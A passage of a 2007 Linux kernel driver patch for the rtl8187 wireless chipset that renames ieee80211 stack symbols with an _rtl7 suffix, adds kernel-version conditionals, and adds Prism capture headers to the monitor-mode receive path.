ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-05-26 10:38:07.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-05-26 10:38:07.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-05-26 10:38:07.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 